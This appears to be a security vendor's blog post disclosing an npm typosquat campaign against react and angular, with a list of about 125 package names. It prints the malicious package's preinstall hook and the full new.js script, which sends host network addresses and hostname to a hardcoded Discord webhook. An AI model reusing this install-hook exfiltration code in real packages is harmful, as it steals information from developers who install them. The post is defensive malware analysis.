Large Typosquat Campaign Targeting React and Angular
Phylum is tracking a large typosquat campaign targeting the npm ecosystem. A user is currently publishing many typosquat packages masquerading as react
and angular
. As of this writing, 125 packages have been released in what appears to be an ongoing campaign. We are reporting these packages as we encounter them and have reported the Discord webhook for removal.
--cta--
Technical Details
Inspecting the package.json
we find a preinstall hook that initiates execution:
{
"name": "zngularjs",
"version": "1.1.2",
"description": "Research project",
"main": "index.js",
"scripts": {
"test": "echo \\"Error: no test specified\\" && exit 1",
"preinstall": "node new.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/serialfuzzer/AngulerJS.git"
},
"keywords": [
"dependency_confusion"
],
"author": "serialfuzzer",
"license": "ISC",
"bugs": {
"url": "https://github.com/serialfuzzer/AngulerJS/issues"
},
"homepage": "https://github.com/serialfuzzer/AngulerJS#readme"
}
Inside the new.js
we find the following (formatted for readability):
function sendToDiscord(e, t) {
const o = new URL(e),
n = JSON.stringify({
content: t
}),
s = {
hostname: o.hostname,
port: 443,
path: o.pathname + o.search,
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": n.length
}
},
r = https.request(s, e => {});
r.on("error", e => {
console.error(e)
}), r.write(n), r.end()
}
const https = require("https"),
os = require("os"),
main = ! function() {
var e = "https://discord.com/api/webhooks/1155988140591419412/bleuGvUtBCzaGsAkAI1MT9Yd-6YxHuUlZe91XSdfioky5-0e3gzeW4ztWskX1qYjSxzr";
const t = Object.keys(os.networkInterfaces()).map(e => os.networkInterfaces()[e][0].address).join(",").concat(", " + os.hostname());
return sendToDiscord(e, t), {}
}();
module.exports = main;
This is a fairly rudimentary attempt at data exfiltration that sends information about network interfaces to a remote Discord channel. We’ve reported the Discord webhook and have ensured that it has been disabled. Any existing packages will now be unable to communicate with the package author.
A Research Project?
As with most of these campaigns, it’s difficult to determine intent. Is this part of a misguided research project? A malicious campaign masquerading as a bug bounty attempt? It’s hard to say. Even in cases where we'd be inclined to give the author the benefit of the doubt, we've seen subsequent packages become clearly malicious before.
In this case, the package.json
makes a reference to a GitHub repository. Since this field is entirely user-provided, we've reached out to the GitHub user to determine whether they are affiliated with this campaign and to hopefully determine intent.
Towards More Secure npm Development
One of the more disconcerting facts about modern software development is the fact that so much of it involves relying on and executing code written by unknown users from the internet. To address this, Phylum has open-sourced its sandbox Star that locks down network, disk and environment resources. This sandbox is built into our (also open sourced) CLI Star so that users can run things like:
phylum npm install <pkgName>
Below is the actual behavior of the sandbox on one of the packages from the above campaign. When the package attempts to reach out to the Discord webhook, the installation process is aborted. Please note that we had to pull the tar.gz
from our file storage, as the package in question had already been removed by npm. In a real scenario, this package would've been blocked by the Phylum package pre-check before it even had a chance to run in the sandbox!
Typosquats remain a popular distribution technique for malware. This is one of the larger typosquat activities we've seen this year and should serve as a constant reminder that actors continue to publish malicious packages into our open-source package repositories.
The Packages
Given the speed that these packages were published, it seems likely that publications are automated. It is not entirely clear how some of these packages names were generated, as many have edit distances far away from the actual angular
and react
package names. It seems reasonable the edits are also automated, resulting in some non-human like "typos".
Name | Version | Created |
---|---|---|
anoularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:26 GMT |
angslarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:25 GMT |
ankularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:24 GMT |
anxularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:22 GMT |
angnlarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:22 GMT |
angglarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:19 GMT |
anzularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:17 GMT |
angtlarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:17 GMT |
aniularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:16 GMT |
anbularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:15 GMT |
anyularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:14 GMT |
angblarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:13 GMT |
annularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:12 GMT |
angmlarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:09 GMT |
angelarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:08 GMT |
anmularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:07 GMT |
angalarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:07 GMT |
anwularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:05 GMT |
anghlarjs | 1.1.2 | Tue, 26 Sep 2023 03:04:04 GMT |
anlularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:03 GMT |
anrularjs | 1.1.2 | Tue, 26 Sep 2023 03:04:01 GMT |
angrlarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:56 GMT |
angilarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:56 GMT |
andularjs | 1.1.2 | Tue, 26 Sep 2023 03:03:54 GMT |
angflarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:53 GMT |
angclarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:52 GMT |
angjlarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:51 GMT |
anuularjs | 1.1.2 | Tue, 26 Sep 2023 03:03:49 GMT |
angdlarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:48 GMT |
angolarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:46 GMT |
angllarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:46 GMT |
anpularjs | 1.1.2 | Tue, 26 Sep 2023 03:03:45 GMT |
ansularjs | 1.1.2 | Tue, 26 Sep 2023 03:03:44 GMT |
angplarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:43 GMT |
angklarjs | 1.1.2 | Tue, 26 Sep 2023 03:03:42 GMT |
anvularjs | 1.1.2 | Tue, 26 Sep 2023 03:03:40 GMT |
antularjs | 1.1.2 | Tue, 26 Sep 2023 03:03:39 GMT |
bngularjs | 1.1.2 | Tue, 26 Sep 2023 02:36:23 GMT |
aggularjs | 1.1.2 | Tue, 26 Sep 2023 02:36:21 GMT |
reacltjs | 1.1.2 | Tue, 26 Sep 2023 02:36:20 GMT |
acgularjs | 1.1.2 | Tue, 26 Sep 2023 02:36:18 GMT |
reacbtjs | 1.1.2 | Tue, 26 Sep 2023 02:36:15 GMT |
rejactjs | 1.1.2 | Tue, 26 Sep 2023 02:36:13 GMT |
akgularjs | 1.1.2 | Tue, 26 Sep 2023 02:36:11 GMT |
ahgularjs | 1.1.2 | Tue, 26 Sep 2023 02:36:09 GMT |
reanctjs | 1.1.2 | Tue, 26 Sep 2023 02:36:08 GMT |
bangularjs | 1.1.2 | Tue, 26 Sep 2023 02:36:06 GMT |
reacttjs | 1.1.2 | Tue, 26 Sep 2023 02:36:04 GMT |
reoactjs | 1.1.2 | Tue, 26 Sep 2023 02:36:02 GMT |
reawctjs | 1.1.2 | Tue, 26 Sep 2023 02:36:00 GMT |
doemailer | 1.1.2 | Tue, 26 Sep 2023 02:35:59 GMT |
reacutjs | 1.1.2 | Tue, 26 Sep 2023 02:35:57 GMT |
reacmtjs | 1.1.2 | Tue, 26 Sep 2023 02:35:55 GMT |
algularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:53 GMT |
dangularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:51 GMT |
dngularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:49 GMT |
hngularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:46 GMT |
reacitjs | 1.1.2 | Tue, 26 Sep 2023 02:35:44 GMT |
zhunkr | 1.1.2 | Tue, 26 Sep 2023 02:35:43 GMT |
augularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:41 GMT |
reazctjs | 1.1.2 | Tue, 26 Sep 2023 02:35:39 GMT |
reacatjs | 1.1.2 | Tue, 26 Sep 2023 02:35:37 GMT |
azgularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:36 GMT |
reapctjs | 1.1.2 | Tue, 26 Sep 2023 02:35:34 GMT |
rekactjs | 1.1.2 | Tue, 26 Sep 2023 02:35:32 GMT |
avgularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:31 GMT |
cangularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:29 GMT |
jngularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:28 GMT |
reacctjs | 1.1.2 | Tue, 26 Sep 2023 02:35:25 GMT |
vngularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:24 GMT |
renactjs | 1.1.2 | Tue, 26 Sep 2023 02:35:22 GMT |
reqactjs | 1.1.2 | Tue, 26 Sep 2023 02:35:20 GMT |
reacntjs | 1.1.2 | Tue, 26 Sep 2023 02:35:17 GMT |
ungularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:15 GMT |
autoprifixir | 1.1.2 | Tue, 26 Sep 2023 02:35:13 GMT |
aygularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:11 GMT |
sngularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:09 GMT |
reacdtjs | 1.1.2 | Tue, 26 Sep 2023 02:35:08 GMT |
pngularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:06 GMT |
reacftjs | 1.1.2 | Tue, 26 Sep 2023 02:35:04 GMT |
anaularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:02 GMT |
adgularjs | 1.1.2 | Tue, 26 Sep 2023 02:35:00 GMT |
gngularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:58 GMT |
aagularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:55 GMT |
refactjs | 1.1.2 | Tue, 26 Sep 2023 02:34:54 GMT |
redactjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
reacgtjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
asgularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
realctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
nngularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
recactjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
relactjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
dodemailar | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
reractjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
reacqtjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
reacstjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
reaectjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
reacotjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
reacwtjs | 1.1.2 | Tue, 26 Sep 2023 02:34:53 GMT |
reyactjs | 1.1.2 | Tue, 26 Sep 2023 02:34:52 GMT |
rexactjs | 1.1.2 | Tue, 26 Sep 2023 02:34:52 GMT |
anfularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:52 GMT |
awgularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
reaoctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
repactjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
readctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
aegularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
ancularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
reajctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
reahctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
afgularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
anhularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
reaqctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
apgularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
cngularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
lngularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
kngularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
argularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:51 GMT |
reakctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:50 GMT |
tngularjs | 1.1.2 | Tue, 26 Sep 2023 02:34:50 GMT |
reagctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:50 GMT |
reacztjs | 1.1.2 | Tue, 26 Sep 2023 02:34:50 GMT |
reasctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:50 GMT |
reacjtjs | 1.1.2 | Tue, 26 Sep 2023 02:34:50 GMT |
reaxctjs | 1.1.2 | Tue, 26 Sep 2023 02:34:50 GMT |